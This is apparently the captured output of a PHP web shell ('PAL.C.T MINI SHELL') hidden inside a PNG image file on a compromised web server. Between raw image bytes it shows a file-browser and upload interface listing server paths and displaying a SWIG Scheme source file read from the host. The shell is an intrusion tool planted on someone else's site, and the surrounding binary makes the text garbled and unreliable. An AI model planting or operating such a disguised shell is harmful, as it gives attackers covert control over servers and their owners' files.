php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/swig/1.3.40/chicken/
upload
files >> //var/www/html/img_galeri/2r1asasas/root/usr/share/swig/1.3.40/chicken/swigclosprefix.scm

(declare (hide swig-initialize))

(define (swig-initialize obj initargs create)
     (slot-set! obj 'swig-this
        (if (memq 'swig-this initargs)
            (cadr initargs)
            (let ((ret (apply create initargs)))
              (if (instance? ret)
                (slot-ref ret 'swig-this)
                ret)))))

(define-class <swig-metaclass-$module> (<class>) (void))

(define-method (compute-getter-and-setter (class <swig-metaclass-$module>) slot allocator)
  (if (not (memq ':swig-virtual slot))
    (call-next-method)
    (let ((getter (let search-get ((lst slot))
                    (if (null? lst)
                      #f
                      (if (eq? (car lst) ':swig-get)
                        (cadr lst)
                        (search-get (cdr lst))))))
          (setter (let search-set ((lst slot))
                    (if (null? lst)
                      #f
                      (if (eq? (car lst) ':swig-set)
                        (cadr lst)
                        (search-set (cdr lst)))))))
      (values
        (lambda (o) (getter (slot-ref o 'swig-this)))
	(lambda (o new) (setter (slot-ref o 'swig-this) new) new)))))
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`